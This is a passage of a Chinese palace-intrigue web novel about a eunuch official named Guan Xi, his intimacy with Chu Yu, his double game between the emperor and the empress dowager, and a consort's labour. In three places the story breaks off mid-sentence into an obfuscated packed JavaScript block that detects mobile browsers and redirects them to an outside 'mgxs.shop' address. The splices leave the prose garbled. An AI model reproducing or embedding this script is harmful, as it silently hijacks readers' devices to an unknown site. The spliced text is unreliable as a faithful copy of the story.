楚玉的动作异常轻柔,沿着那红肿的痕迹缓缓描摹,确认这伤的真实与深浅。她的眉头蹙了起来,那惯常平静无波的眼底,终于掀起了清晰的波澜,是惊怒,是痛惜。 “这也是风寒?”她开口,声音比刚才更冷,几乎能掉下冰碴,“郑书意还打了你的脸?” 她用的是打,而非更温和的伤。指尖传来的触感告诉她,这不是意外划伤,是指甲留下的印记。 关禧在她指尖触碰到伤痕的瞬间,身体就绷紧了。 那轻柔的触碰,像羽毛搔刮在心尖上,让他伤口微痛,心底却泛起一阵战栗的酸软。他看着她近在咫尺的脸,看着她眼中为自己而起的怒意,看着她紧抿的唇,烛光在那里涂了一层薄薄的光晕。 他忽然想起更早之前,在承华宫值房,她主动跨坐上来时,那清冷又炽热的气息。 身体的疼痛,心底的屈辱,对未来的惶惑,在此刻都退居其次。他只想确认眼前这个人是真实的,确认她眼底那抹为他而生的情绪是真的。 确认自己……还没有被彻底遗弃在污秽和黑暗中。 他抬手,握住了她那只手腕。 力道不大,却不容拒绝。 楚玉一怔,还没来得及抽回手,关禧已经仰起脸,带着伤的脸颊蹭过她的指尖,然后吻上了她的唇。 这个吻来得猝不及防。 他的唇瓣有些干燥,摩擦着她的。 楚玉浑身僵住。她能感觉到他唇上的伤口,能尝到他口腔里未散的药味和淡淡的血腥气,能感受到他握住自己手腕的指尖在颤抖。 这不是情欲的挑逗,更像是溺水之人抓住浮木的孤注一掷。 她没有推开他。 也没有回应。 站在那里,任由他生涩用力地亲吻,任由他的气息将自己笼罩。 不知过了多久,也许只是几息,关禧的力气耗尽了,这个鲁莽的亲吻渐渐变得绵软,最终,他松开了她的手腕,额头抵在她的肩窝,灼热的呼吸喷在她的脖颈上,“对不起。我……没忍住。” 楚玉:“……”她垂下眼,看着靠在自己肩上这个虚弱又狼狈的少年,看着他脸颊上那刺目的伤痕,和他全然依赖的姿态。 心中那根属于理智和计算的弦,松动了一寸。 她抬起手,犹豫了一下,最终还是落在了他有些凌乱的黑发上,揉了揉。 “先把水喝了。你嘴唇都裂了。” 关禧在她肩窝处蹭了蹭,才慢慢抬起头。他的眼眶又有些红,眼神却亮了些,一眨不眨地看着她。 楚玉避开他的目光,转身端起那杯温水,重新在炕边坐下,杯沿抵在他唇边,另一只手虚扶在他颈后,小心地喂他。 关禧就着她的手,小口小口地吞咽。温水润泽了干涸的喉咙和裂开的嘴唇,也稍稍安抚了体内未散的燥意。他喝得很慢,目光却始终没有离开楚玉的脸,从她低垂的眼睫,看到她秀挺的鼻梁,再落到她抿起的唇上。 一杯水见底。 楚玉放下杯子,拿起旁边干净的布巾,想替他擦擦嘴角的水渍。 关禧忽然开口:“你不问我昨晚具体发生了什么?” 楚玉擦着他嘴角的动作一顿,抬眼看他。烛光下,她的眼神复杂难明。 “你想说吗?”她反问。 关禧沉默了一下,摇了摇头。那些细节,那些更不堪的折辱,他宁愿烂在肚子里,也不想从自己嘴里说出来,玷污她的耳朵。 “那就别说。”楚玉收回布巾,语气平淡,“知道是谁做的,为了什么,就够了。其余的,等你好了,自己想办法讨回来。”她停顿了一下,看着他脸上的伤,补充道:“脸上的伤,用我给你的金疮药,小心别沾水。若是留了疤……” “留了疤又如何?”关禧打断她,扯了扯嘴角,“反正这张脸……除了惹祸,也没什么用。倒是你……”他目光再次落在她唇上,“会不会嫌丑?” 楚玉被他这直白又突兀的问题问得一怔,随即移开视线,布巾叠好放在一边,语气重新恢复了那种公事公办的平淡:“皮相而已。在这宫里,活到最后,靠的不是脸。” 她站起身,“夜深了,你该休息了。我……” “你答应陪我的。”关禧伸手,拉住了她的袖口,“就坐在旁边,行吗?我……我保证不动了。” 他仰着脸,因为高烧和虚弱,眼尾还泛着红,眼神里带着恳求,还有一丝不易察觉的惊悸未定。这样的表情,出现在这张即使带着伤也难掩精致,此刻更添了几分脆弱美的脸上,杀伤力十足。 楚玉看着被他拉住的袖口,又看看他眼底那份真实的恐惧,对独处,对黑夜,或许也是对即将袭来的噩梦的恐惧。她想起了冯媛的话,想起了自己的身份和立场,理智告诉她应该立刻离开。 可是…… 关禧的眼神黯了黯,慢慢松开了手指,低声道:“……算了,你回去吧。路上小心。” 他别开脸,重新缩回被子里,只露出小半张苍白的侧脸和凌乱的黑发,背影看上去单薄又孤清。 屋内炭火温暖,药味未散。 窗外北风卷着雪沫,扑打在窗棂上,发出簌簌的轻响,衬得屋内这方寸之地愈发寂静暖融,也衬得榻上那人愈发孤清无依。 楚玉拢在袖中的指尖,捻了捻。 她最终还是转回了身。 没有言语,走到炕边,抬手,解开了灰鼠皮斗篷的系带。厚重的斗篷滑落,被她随手搭在旁边的椅背上。接着是外罩的棉袍,也除去了。 关禧听到了窸窣的声响,不敢回头,脸埋进枕头,耳根不受控制地悄悄红了起来。 楚玉在炕沿坐下,侧着身,脱去鞋袜。她的脚很白,足弓优美,脚趾因为沾染了冬夜的寒气而微微蜷缩着。她掀开被角,动作顿了顿,然后躺了进去,在关禧身侧,隔着一拳的距离。 炕不算窄,但两人并排躺着,气息还是无可避免地交织在一起。被褥里还残留着关禧身上高烧后的热度,和淡淡的药草气息,混入了楚玉身上那股清冽的冷香,变得有些微妙。 关禧背对着她,身体绷得像一块石头,连呼吸都刻意放轻了,他能感觉到身侧属于另一个人的体温和存在感,那样清晰,那样令人心慌意乱。 楚玉平躺着,望着帐顶。她留下来了,这行为本身已经超出了她素日行事的准则。她知道自己该说点什么,或者干脆闭眼假寐,可心底那点说不清道不明的涩意,让她难以立刻寻回平日的冷静面具。 炭火毕剥,远处隐约传来三更的梆子声。 不知过了多久,关禧终于无法忍受这磨人的寂静,又或许,是身侧真实的暖意驱散了噩梦的阴影,给了他一点点得寸进尺的勇气。 他一点一点,转过身来。 楚玉没有动,对他的动作毫无反应。 关禧转过身后,两人距离被拉近到只有咫尺,他甚至能看清她垂下的睫毛在眼下投出的浅浅扇形阴影,能看清她呼吸时胸口起伏的弧度。 他屏住呼吸,贪婪地看着,目光描摹过她的眉眼,鼻梁,最后落在那两片颜色偏淡的唇上。方才亲吻的触感瞬间回笼,让他的心脏狂跳起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216772|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,血液奔流的声音在耳中轰鸣。 什么矜持,什么克制,在如此近的距离,在她默许的陪伴下,顷刻间土崩瓦解。 他遵循着本能,伸出手臂,穿过两人之间那一拳的虚空,环住了楚玉的腰。 手臂搭上去的瞬间,楚玉的身体僵了一下,但她没有推开。 这无声的默许像是一剂猛药。 关禧不再犹豫,手臂收紧,将人更切实地揽向自己,整个身体也贴了过去。他比她高,这样一揽,楚玉的脸便埋在了他的颈窝,额头抵着他的下巴。他另一只手也摸索着握住了她放在身侧的手,十指交缠,紧紧扣住。 温暖柔软的躯体抱了满怀,属于楚玉的气息将他包裹,那清冷的香气之下,是更真实的女性的柔软和体温,关禧满足地舒了一口气,仿佛漂泊已久的孤舟终于靠了岸,浑身紧绷的弦都松弛下来,连那些疼痛和虚弱感都被这怀抱驱散了不少。 可,身体的贴近也无可避免地让他意识到某些变化。 他这具身体,终究是年轻的,即便被药物和病痛摧残过,在如此亲密地拥抱着心仪之人时,某些反应诚实得让他羞愧。 隔着两层单薄的寝衣,那变化便再无遮挡。 关禧的脸爆红,连脖颈都染上了绯色,他想向后缩,拉开一点距离。 楚玉却在他试图后退时,动了动。 她略微调整了一下姿势,让那尴尬的触碰不再那么直接而窘迫,也没有完全避开,反应很平淡,既没有惊呼,也没有怒斥,仿佛那只是不小心碰到的被角。 这态度让关禧更觉无所适从,他声音干涩地道歉:“对、对不起……我不是……我没想……” “安静些。”楚玉打断他,“睡觉。”她甚至反手,拍了拍他环在自己腰后的手臂,像在安抚一个不安分的孩子。 关禧所有的话都被堵了回去。他怔怔地抱着她,感受着她平缓的呼吸和心跳透过衣衫传来,那么真实,那么令人安心。那点生理性的躁动,在这片安宁里,竟也渐渐平息下去。 又过了好一会儿,楚玉轻声开口,声音在寂静中格外清晰: “你昨日宴上作的那词……众里寻他千百度,蓦然回首,那人却在,灯火阑珊处……” 她顿了顿,在想如何措辞。 关禧的心提了起来。她提起这个,是赞赏?是探究? 楚玉继续道,语气里听不出什么特别的情绪,只是平铺直叙:“意境很好,转折也巧。只是……过于清冷孤高了,不像你会说的话。” 她微微偏头,气息拂在他的锁骨上,“关禧,你心里其实怕极了那灯火阑珊处的孤清吧?你想要的是站在最亮的地方,被所有人看见,不是吗?” 这话问得突兀,又精准地刺破了关禧昨日那番表演下的部分真实心境。 关禧沉默了片刻,手臂松了些力道,低低地“嗯”了一声,承认了。 “那为何要选这样一首词?”楚玉问,“为了显得与众不同?为了堵住桑连云那种人的嘴?” “……都有吧。”关禧闷声道,“但也不全是。灯火阑珊处……或许不是我想要的归宿,但有时候,站在太亮的地方,看久了,也会觉得……刺眼。也会想看看,灯火照不到的地方,是什么样子。就像现在……这里很暗,只有一点炭火的光。但你在这里。” 炭火毕剥,屋里寂静得能听见彼此交缠的呼吸声。 楚玉没有回应那句“但你在这里”,过了好一会儿,久到关禧以为她已经睡着了,或者根本不屑于回应他这幼稚的表白,她才转了下头,声音很轻,像怕惊扰了这偷来的片刻安宁,又像只是在陈述一个与己无关的问题。 “你以后有什么打算?还是跟着陛下?” “还是……跟着太后?” “你总不能,真打算一只脚踩两条船,同时跟着两个主子吧?陛下那边要耳目,太后这边……怕是要你当聋子、做哑巴。” 94.第 97 章 这话问到了关禧心坎里,也戳破了他这一日辗转病榻时反复思量的困局,他舔了舔干裂的嘴唇,环在楚玉腰后的手臂收紧了些,开了口: “我还能有什么打算?内缉事厂,是陛下亲手立的旗。我没得选,只能跟着陛下。可太后……太后捏着我的命门。不止是我的,还有你们的。你也看到了,她动动手指,就能让我……” 他喉结滚动,后面的话咽了回去,“她不会放过我。或者说,她不会放过任何一把她认为可能伤到她自己、或者能用来伤到陛下的刀。” “所以呢?”楚玉问,“你真准备站在中间?在陛下面前维持你忠心能干的关提督,在太后那边……又顺着她?你当陛下是傻子,还是当太后是菩萨?” “陛下不傻,太后更不是菩萨。”关禧扯了扯嘴角,“但正因为陛下不傻,他才需要我这样的刀。只要我这把刀还能为他斩断他想斩的东西,只要我没真的把刀锋对准他,有些事他可以睁一只眼闭一只眼。帝王心术,权衡罢了。” “至于太后那边顺着她?不,楚玉,那不是顺着。是交易。她给我留一条生路,给我一点喘息的空间,甚至可能给我一些她愿意让我知道的消息。而我,需要付出代价。” “代价就是关于太后的部分真相,得变成精心修饰过的谎言,或者恰到好处的沉默,递到陛下面前。” “比如昨夜之事,绝不能透露半点与太后有关的痕迹。比如日后太后若借我的手,清理某个碍眼的人,或传递某个误导的消息,在陛下那里,就必须有另一套能自圆其说的说辞。我得把自己劈成两半,一半是陛下手里最锋利的刀,另一半是太后棋盘上一枚会自己走位、却始终逃不出她手掌心的棋子。” 他说着,竟低低地笑了起来,那笑声短促,“听起来是不是很荒唐?像个走钢丝的疯子?可我有的选吗?楚玉,我没有退路。我只能往前走,在皇帝和太后之间那条越来越窄的缝隙里,找到一条能让我、让我在意的人活下去的路。” 他收紧了环着她的手臂,脸埋在她颈窝,汲取那一点清冷的温度和真实感,声音闷闷的:“你会不会觉得我很无耻?很没用?明明恨她入骨,却不得不……” “在这宫里,活着本身,就是最有用的事。”楚玉打断了他,抬眼,目光落在关禧近在咫尺的脸上,看着他眼底那片浓重的阴影。 “无耻?没用?”她重复这两个词,嘴角极淡地弯了一下,那弧度里没有笑意,“关禧,你还没真正见识到这宫里最无耻、最没用的人是什么样子。你能想到走这条路,能在这时候还算得清利害,知道自己要什么、怕什么……已经比很多人强了。” 她的指尖,悬在他脸颊伤痕的上方,虚虚地描摹了一下那红肿的轮廓,眼神复杂。 “只是这条路,太难了。一步踏错,粉身碎骨。你要骗过陛下,就不能让太后察觉你有所保留。你要应付太后,就不能让陛下起疑你首鼠两端。这中间的尺寸,比刀尖还难把握。更何况,太后心机深沉,掌控欲极强,她不会真正信任你。你对她而言,始终是异类,是隐患。现在用你,不过是看中你的位置和那点小聪明。一旦她觉得你失去控制,或者有了更好的替代……” 她没有说完,但未尽之意,两人都懂。 关禧听着,楚玉的话像冰水,浇灭了他心头那点因找到出路而生的虚火,却也让他更加清醒。他当然知道难,知道险。可正如楚玉所说,活着,才有以后。 他不再说话,更紧地拥着她。楚玉也没有再推开他,任由他抱着,甚至在他无意识地发抖时,调整了一下姿势,让他靠得更舒适些。 暖阁里再次安静下来,只有炭火偶尔的噼啪,和窗外风雪渐起的呜咽。远处传来了四更的梆子声,悠长寂寥。 又过了许久,久到关禧的呼吸逐渐变得绵长均匀,几乎要沉入睡梦时,楚玉又开口,声音飘忽得像梦呓: “关禧。” “嗯?”关禧迷迷糊糊应了一声。 “别完全信她。”楚玉的声音很低,字字清晰,“太后给你的任何东西,无论是消息,还是看似帮你铺的路,都留三分心眼。尤其是……涉及前朝动向,或者陛下身边人事的。” 关禧的睡意醒了两分,他睁开眼,在昏暗的光线里看着楚玉沉静的侧脸。 “她在宫中经营多年,耳目根系远比你想的更深。有些事,她让你看到的,只是她想让你看到的。有些路,她指点你去走的,尽头可能是悬崖。” 她说着,转过头,在极近的距离里与他对视。她的眼睛在昏暗中显得格外幽深,里面映着一点微弱的烛光,也映着他略显迷茫的脸。 “记住,你要在夹缝里求生,就不能完全倒向任何一边。对陛下,要有不可替代的用处。对太后……要有她暂时舍不得毁掉的把柄,或者,让她以为牢牢握在手里的牵绊。但真正的底牌,要藏好,藏得越深越好。” 这话说得极其含蓄,甚至有些晦涩,但关禧听懂了。楚玉在教他,如何在两股巨力的碾压下,找到那一线生机。她比他更了解太后的可怕,也更清楚这宫廷规则运作的阴私。 一股混杂着感激和更复杂情愫的热流涌上心头,冲得他鼻腔发酸。他凑过去,在楚玉唇角飞快地碰了一下,一触即分。 楚玉没有躲闪,看着他。 “我知道了。”关禧哑声道,眼神亮得灼人,“我会小心的。楚玉,谢谢你……还肯教我。” 话音落下,屋内重归寂静。炭火将熄未熄的微光里,两人之间方才那番关乎生死前路的沉重对答,余音似乎还在梁间缠绕,可身体却比言语更早地察觉到了变化,他们维持着相拥的姿势,关禧的手臂仍环在楚玉腰间,楚玉的手也还被他紧紧扣着。 太近了。 近到能数清对方睫毛的颤动,能感受到衣物之下逐渐升高的体温,能清晰捕捉到每一次呼吸的深浅变化。先前因分析局势而绷紧的心弦一旦松弛,某种被刻意忽略属于年轻躯体本身的知觉便悄然苏醒,弥漫开来。 关禧先感觉到了不自在。他方才全神贯注于楚玉的话语,此刻才后知后觉地意识到,自己正以一种霸占的姿态将人圈在怀里,掌心下是她腰肢纤细柔韧的触感,鼻息间全是她发间颈畔清冽又隐隐暖融的气息。更让他耳根发烫的是,自己这具不争气的身体,又因为这样的贴近和心绪的激荡,有了些不受控制细微的反应。 他想稍稍退开一点,掩饰那点窘迫,手臂却像有自己的意志,贪恋着那点温暖和真实,纹丝不动。反倒是楚玉,在他又收拢了些臂弯时,动了一下。 她抬起脸,目光落在关禧近在咫尺泛着不正常红晕的脸颊上,又下移,扫过他因为紧张而滚动的喉结,最后,重新迎上他那双在昏暗中亮得有些过分的凤眼。 “教你是教你了,”楚玉说,声音比方才低了些,“可我怎么觉着……关提督这病着,心思倒不少?” 她顿了顿,语气里掺进了一点极淡的戏谑,像冰层下悄然游过的鱼尾:“以前在承华宫学规矩的时候,倒没瞧出来,你这么……好色。” “好色”两个字,被她用那种平静无波的语调说出来,像两颗小石子,精准地投进了关禧心湖,激得他浑身一颤,脸颊上的红晕“腾”地一下烧到了耳根,连脖颈都染上了一层薄粉。 羞耻感铺天盖地涌来。 被看穿了!被当面戳破了! 可随之而来的,是一股破罐子破摔般的冲动。他本就是女子灵魂,塞进这具残缺又敏感的少年躯体里,对情爱之事懵懂又好奇,对楚玉的依恋和渴望更是复杂难言。此刻被她这样直白地指出,那份羞恼之下,竟隐隐生出几分委屈和……不甘。 他抿了抿干裂的唇,迎着她清明的目光,低声反问,带着试探: “……那,楚玉你……反感吗?” 他问得没头没尾,但楚玉听懂了。他在问,你反感我这样的触碰,这样的好色,这样的心思吗? 楚玉没立刻回答。她看了他一会儿,看着他眼中那份强撑着的镇定下掩不住的期待,看着他因为羞窘而湿润潋滟的眼角。 屋里太静了,静得能听见彼此交织的呼吸声,还有炭火最后一点余烬坍塌的细微声响。 她忽然想起很多事。想起在承华宫教导他时,他偶尔走神望着窗外出侧脸,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221517|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起他被皇帝点名那日,回来时苍白的脸和紧抿的唇,想起风雪值房那夜,他生涩又凶狠的亲吻,更想起方才,他分析局势时眼中闪过的狠绝。 这个人,这具身体,这个灵魂,是如此的矛盾,复杂,又引人探究。她知道自己该推开,该划清界限,该用冷硬的言语敲碎他任何不切实际的幻想。尤其是,她比任何人都清楚自己那颗心曾经为谁悸动,又为何沉寂。女子与女子之间那份不容于世的倾慕,曾是她心底最深也最无望的秘密。而对眼前这个顶着太监身躯内里是女性魂魄的人,她本该毫无兴趣,甚至该觉荒唐。 可是…… 楚玉垂下眼帘,避开了他灼人的视线,目光落在他中衣领口露出的那截纤细锁骨上,那里还有未褪尽的淡淡红痕。 “反感?”她重复了一遍这个词,语气平淡,“若说反感,你现在这般拉着我、抱着我,我早该一掌将你掀下榻去。” 她没有说不反感,但这话里的意思,已足够让关禧心跳漏了一拍。 他屏住呼吸,等待着。 楚玉却不再继续这个话题,挣了挣被他握着的手,“松手,你握得太紧了。” 关禧这才恍然惊觉,自己不知何时将她的手攥得死紧,连忙松开。 楚玉收回手,就着这个姿势,稍稍拉开了些许距离,侧身半支起手臂,撑着额头,居高临下地看他。 “关禧,”她叫他的名字,不再是“关提督”,也不再是疏离的“你”,“我知道你心里想什么。” 关禧仰躺在枕上,看着她被散落青丝半掩的侧脸,烛火在她眼中跳跃,明灭不定。 “我也知道我自己是什么样的人。”楚玉继续道,“我走过什么样的路,心里曾经装过什么样的人。你这身子……” 她目光极快地扫过他胸膛,语气里带上了一丝几不可察的复杂,“于我而言,本不该有任何吸引力。” 这话像一盆冰水,浇得关禧浑身发冷,方才那点隐秘的期待瞬间冻结。是啊,他怎么忘了,楚玉……她喜欢的是女子。他这具不男不女残缺畸形的身体,在她眼里,恐怕与那些她曾教导过的,用来取悦皇帝的小太监并无本质区别,甚至更糟,因为他还存着这样僭越的心思。 他别开脸,眼眶不受控制地发热,“我知道了……抱歉,是我僭越,是我……” “我话还没说完。”楚玉打断他,伸手扳过他的脸,强迫他转回来看着自己,一字一句,说得很慢,“身体是死的,规矩是活的,人心……更是最说不清的东西。关禧,我或许对你的身体不感兴趣,但我看不透你这个人。” “我看不透你从哪里学来那些惊人的词句,看不透你有时天真莽撞得像未识世事,有时又狠绝清醒得叫人心惊。我看不透你明明怕得要死、恨得要命,为什么还能躺在这里,跟我分析怎么在皇帝和太后之间走钢丝。” “我也看不透……”她顿了顿,指尖在他脸颊那道红肿的伤痕上拂过,“为什么你病成这样,差点死了,醒过来第一个想见的人是我,抱着我……不肯撒手。” 关禧怔住了,呆呆地望着她,心脏像是被一只无形的手攥住,又酸又胀。 楚玉收回手,重新躺平,望着帐顶,声音恢复了平日的清冷,却不再有那种刻意的疏离:“所以,别问我反不反感。我自己也答不上来。” “至于你好不好色……”她侧过头,瞥了他一眼,那眼神里有极淡的一丝无奈,“生着病,流着血,命悬一线的时候还能起这种心思,关提督,你也算是个奇人。” 关禧的脸再次爆红,这次连脚趾都蜷缩起来。他想辩解,想说不是那样的,可张了张嘴,却发现任何语言在楚玉这番剖白面前都显得苍白无力。 最终,他往她身边蹭了蹭,这次不敢再贴得太紧,额头轻轻抵着她的肩膀。 楚玉没有推开他,也没有再说话。 暖阁里只剩下两人渐渐平复的呼吸声。窗外,风雪停了,天色透出一点将明未明的青灰色。漫长的一夜,终于快要过去。 在意识沉入梦乡的前一刻,关禧模糊地想,楚玉没有推开他。 这或许,就够了。 95.第 98 章 自那夜之后,关禧的日子过得就像在万丈悬崖上踩着一根细丝行走,且丝线两端,分别被一只冰冷的手和一只灼热的手拽着,稍有不慎,便是粉身碎骨。 皇帝的信任与日俱增。 内缉事厂的触角在永昌六年悄然延伸,从最初模糊的宫内风闻刺探,逐渐深入到一些看似琐碎却关键的领域:光禄寺采买的源头细账,内市几大皇商背后盘根错节的关系网,乃至某些低品级官员家中仆役的口角是非,与宫外不寻常的银钱往来…… 宫中各处的眼睛和耳朵也愈发灵通,一些原本隐在水面下的贪渎逾矩,私相授受,被记录在档房的密卷中。 关禧谨慎地挑选着呈递给皇帝的内容,绝不轻易涉及高位重臣或后宫主位,更像是新衙门初立,急于表现下的广撒网。 他递送消息的时机措辞,乃至站在御前回话时的神态,都经过反复推敲,既要让皇帝看到价值,又不能显得太过急切或包藏祸心。 萧衍对他愈发倚重,常召他商议一些看似无关紧要,实则暗藏机锋的人事或财货安排。关禧总能给出切中要害又留有余地的建议,分寸拿捏得让萧衍满意,赏赐也越发丰厚。 而永寿宫那边,关禧也没有真的断线。郑书意遵守了那夜的约定,没有再以那般酷烈的方式直接逼迫他,她换了一种更柔和也更难防备的方式,信息渗透。 有时是经由某个看似不起眼的膳房太监,递来一句关于某位官员近日出入某位宗亲府邸的闲话,有时是关禧在查阅旧档时,偶然发现某些已被处理过的记录背后,隐约指向永寿宫早年布下的人情网络。 甚至有一次,楚玉在与他一次极隐秘的短暂会面时,递给他一张无字的素笺,笺角沾染着唯有永寿宫小佛堂才有的特殊檀香,那是太后在提醒他,他并非全然自由,他珍视的人,也并非全然安全。 关禧将太后这边得来的信息,剥离掉最敏感的核心,剩余部分以厂卫密查或风闻的形式,半真半假地掺入给皇帝的汇报中。他知道郑书意在通过这些方式测试他的忠诚度,也在通过这些礼物加深他与永寿宫之间那见不得光的羁绊。他全盘接受,但心底始终绷着楚玉那句“留三分心眼”的弦。对太后给出的任何指向性明显的线索,他都会用另一条完全独立的暗线去反向核实,尽管这极其困难且风险巨大。 该说什么,该递什么,该在什么时候沉默,分寸拿捏得恰到好处。对皇帝,他始终保持着一个有些能力,格外忠诚,因出身卑微而别无选择的孤臣形象,对太后,他则是一个识时务,懂进退,被牢牢捏住痛处而不得不顺从的聪明人。 他把自己劈成了两半。 白日是皇帝手中日渐锋利的刀,深夜是太后棋盘上一枚沉默移动的棋子。两副面孔,两种心思,在无人看见的角落反复撕扯磨合,练就了他愈发深沉难测的眉眼和几乎毫无破绽的应对。 连楚玉偶尔在深夜悄然来访时,审视他递送密报的副本后,也只能蹙眉,低声道:“还行。陛下那边,暂时看不出破绽。” 只是,那双清冷的眸子深处,担忧一日深过一日,她比谁都清楚,这平衡就像在火山口跳舞,脚下的岩层不知何时就会崩裂。 就在这种紧绷的平衡中,皇城的冰霜悄然消融,太液池的坚冰破裂,柳梢抽出鹅黄嫩芽,永寿宫前的海棠鼓起了胭脂色的花苞。 永昌六年的春天,伴随着日益频繁的南北风,不可阻挡地到来了。 而玉芙宫,也在这个万物萌动的时节,迎来了最灼热躁动的气氛,徐昭容徐宛白的产期,近了。 太医每日两次请脉,嬷嬷宫女进出脚步又急又轻,各种安胎,顺产的药材和吉祥物件流水般送入,皇帝和太后的赏赐也隔三差五地到来,堆满了偏殿。徐宛白挺着硕大的肚子,脾气越发骄纵难测,时而因胎动不适而厉声呵斥,时而又抚着肚子对未来充满憧憬,眼角眉梢是压不住的得意,这是陛下登基后的第一个皇嗣,无论男女,都是祥瑞,都是她徐家更进一步的基石。 可,处于这场风暴最中心的皇帝,却显得异常平静,甚至可说是淡漠。 他勤政,每日奏章批阅到深夜,偶尔召幸宫人,或是年轻俊美的内侍,或是温婉柔顺的嫔妃,次数寥寥,更像履行某种义务。对于玉芙宫日渐频繁的报喜和明里暗里的提醒,他只是例行公事般地赏赐,从未流露过去探望的意愿,连口头上的关切都显得敷衍。 关禧侍立在侧时,能感受到皇帝那份刻意疏离下的厌烦。那不仅仅是对徐宛白本人骄纵性情的厌恶,更像是对子嗣背后所代表的,被各方势力寄予厚望并试图借此捆绑他的那种压力的本能排斥。 这日午后,春光晴好,乾元殿西暖阁里却凝着一层化不开的沉郁。萧衍刚批完一批涉及春汛防备的紧急奏章,眉宇间带着倦色。孙得禄悄步进来,手里捧着一封加急的宫报,面色有些微妙。 “陛下,玉芙宫急报,徐昭容娘娘……半个时辰前发动了。” 萧衍执笔的手一顿,朱砂笔尖在宣纸上洇开一小团红晕。他抬起眼,脸上没什么表情,只问:“太后和皇后那边可知晓?” “已经派人去通传了。太后娘娘已起驾前往玉芙宫坐镇,皇后娘娘也已动身。”孙得禄躬身答道。 “嗯。”萧衍应了一声,重新低下头,准备继续批阅下一份奏章,仿佛刚刚听到的只是一个无关紧要的消息。 孙得禄等了片刻,不见皇帝有其他指示,犹豫了一下,试探着问:“陛下可要移驾玉芙宫?到底是皇嗣……” 萧衍打断他,语气平淡:“朕去了又能如何?接生嬷嬷和太医都在,太后和皇后也去了,足够了。”他顿了顿,目光忽然转向一直垂手侍立在侧的关禧。 “关禧。” “奴才在。”关禧上前半步。 “你代朕去一趟玉芙宫。”萧衍放下笔,靠向椅背,手指点着光滑的紫檀木扶手,“不必进产房,就在外头候着。有什么消息,立刻回来禀报。告诉徐昭容……”他沉吟了一下,在斟酌用词,“让她安心生产,朕盼她顺利。” 最后几个字,说得毫无温度,像在念一句公文用语。 “奴才遵旨。”关禧领命,心头却沉了沉。皇帝不去,派他这个太监提督去,看似是代表天家关怀,实则是某种不言而喻的冷落。徐宛白和其背后的徐家,接到这个消息,怕是要气得肝疼。 他不敢耽搁,立刻退出暖阁,点了两个机灵的番役随行,匆匆赶往玉芙宫。 玉芙宫此刻已如沸腾的粥锅。宫门外停着太后的凤辇和皇后的仪仗,侍卫太监宫女往来穿梭,面色紧绷。空气中弥漫着浓烈的药味和熏香气,掩盖不住产房方向隐约传来女人压抑又痛苦的呻吟。 正殿里,郑书意端坐主位,手里捻着一串沉香木佛珠,闭目养神,面色沉静,唯有微微蹙起的眉心泄露一丝不易察觉的关切。柳心溪坐在下首,背脊挺直,双手交叠置于膝上,脸上的表情是完美的端庄,眼神却有些空茫。几位高阶嫔妃也奉命前来等候,坐在更下首的位置,神色各异,有的真心焦急,有的暗自快意,更多的则是事不关己的漠然。 关禧的到来,让玉芙宫上下略微吃惊。谁都知道这位关提督如今是陛下眼前第一红人,执掌着令人畏惧的内缉事厂,等闲不会踏足后宫妃嫔宫殿。此刻前来,代表的只能是皇帝的态度。 所有人的目光瞬间聚焦在他身上,尤其是徐家安排在宫中的几个嬷嬷,眼神像刀子一样刮过来。 他目不斜视,上前向太后和皇后行礼。 “奴才奉陛下旨意前来,候问徐昭容娘娘安。陛下有口谕:盼娘娘安心生产,一切以皇嗣为重。陛下于乾元殿静候佳音。” 郑书意睁开眼,看了他一眼,目光深邃,点了点头:“皇帝有心了。关提督且在一旁候着吧。” 柳心溪也颔首,目光在关禧脸上停留了一瞬,很快移开。 关禧退到殿角不起眼的位置垂手肃立,却能感觉到无数道目光如影随形。他眼观鼻鼻观心,所有情绪掩藏在恭谨的面具之下,耳朵竖着,捕捉着产房方向的每一点动静,和殿内每一句低语。 时间在焦灼中缓慢流逝。产房内的呻吟声时而高亢,时而微弱,稳婆和太医进出时凝重的面色,牵动着所有人的神经。 徐家一位在宫中有些脸面的嬷嬷,几次欲言又止,终于忍不住,带着哭腔向太后恳求:“太后娘娘,我们娘娘从前晌发动到现在,已快三个时辰了,听着声音愈发弱了……能不能再请太医进去看看?或是……用些猛药?这孩子是陛下的头一个,万万不能有失啊!” 郑书意捻动佛珠的手停住,睁开眼,目光锐利地扫过那嬷嬷:“慌什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225626|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?太医和最好的稳婆都在里头,哀家也在外面坐镇。生产本就是过鬼门关,急有何用?安心等着!” 那嬷嬷被太后的威势一压,喏喏不敢再言,退到一旁抹泪。 就在此时,产房内突然传出一声异常凄厉的尖叫,随即是婴儿微弱的啼哭声。 殿内所有人精神一振。 